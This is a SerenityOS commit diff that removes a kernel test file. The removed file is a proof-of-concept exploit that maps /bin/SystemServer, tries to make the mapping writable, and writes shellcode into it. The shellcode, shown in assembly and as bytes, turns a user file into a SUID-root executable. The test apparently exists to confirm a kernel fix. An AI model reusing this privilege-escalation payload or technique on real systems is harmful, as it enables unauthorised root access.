Tests: Build automatically, fix compilation errors

Author: https://github.com/BenWiederhake
Commit: 29eceebdbf
Pull-request: https://github.com/SerenityOS/serenity/pull/2947

Tests/Kernel/mmap-write-into-running-programs-executable-file.cpp

@@ -1,70 +0,0 @@
-#include <AK/Types.h>
-#include <fcntl.h>
-#include <stdio.h>
-#include <string.h>
-#include <sys/mman.h>
-#include <unistd.h>
-
-int main()
-{
-    int fd = open("/bin/SystemServer", O_RDONLY);
-    if (fd < 0) {
-        perror("open");
-        return 1;
-    }
-    u8* ptr = (u8*)mmap(nullptr, 16384, PROT_READ, MAP_FILE | MAP_SHARED, fd, 0);
-    if (ptr == MAP_FAILED) {
-        perror("mmap");
-        return 1;
-    }
-
-    if (mprotect(ptr, 16384, PROT_READ | PROT_WRITE) < 0) {
-        perror("mprotect");
-        return 1;
-    }
-
-    /*
-     *
-     * This payload replaces the start of sigchld_handler in the /bin/SystemServer file.
-     * It does two things:
-     *
-     * chown ("/home/anon/own", 0, 0);
-     * chmod ("/home/anon/own", 04755);
-     *
-     * In other words, it turns "/home/anon/own" into a SUID-root executable! :^)
-     *
-     */
-
-#if 0
-    [bits 32]
-    [org 0x0804b111]
-    jmp $+17
-    path:
-    db "/home/anon/own", 0
-    mov eax, 79
-    mov edx, path
-    mov ecx, 0
-    mov ebx, 0
-    int 0x82
-    mov eax, 67
-    mov edx, path
-    mov ecx, 15
-    mov ebx, 2541
-    int 0x82
-    ret
-#endif
-
-    const u8 payload[] = {
-        0xeb, 0x0f, 0x2f, 0x68, 0x6f, 0x6d, 0x65, 0x2f, 0x61, 0x6e, 0x6f,
-        0x6e, 0x2f, 0x6f, 0x77, 0x6e, 0x00, 0xb8, 0x4f, 0x00, 0x00, 0x00,
-        0xba, 0x13, 0xb1, 0x04, 0x08, 0xb9, 0x00, 0x00, 0x00, 0x00, 0xbb,
-        0x00, 0x00, 0x00, 0x00, 0xcd, 0x82, 0xb8, 0x43, 0x00, 0x00, 0x00,
-        0xba, 0x13, 0xb1, 0x04, 0x08, 0xb9, 0x0f, 0x00, 0x00, 0x00, 0xbb,
-        0xed, 0x09, 0x00, 0x00, 0xcd, 0x82, 0xc3
-    };
-
-    memcpy(&ptr[0x3111], payload, sizeof(payload));
-
-    printf("ok\n");
-    return 0;
-}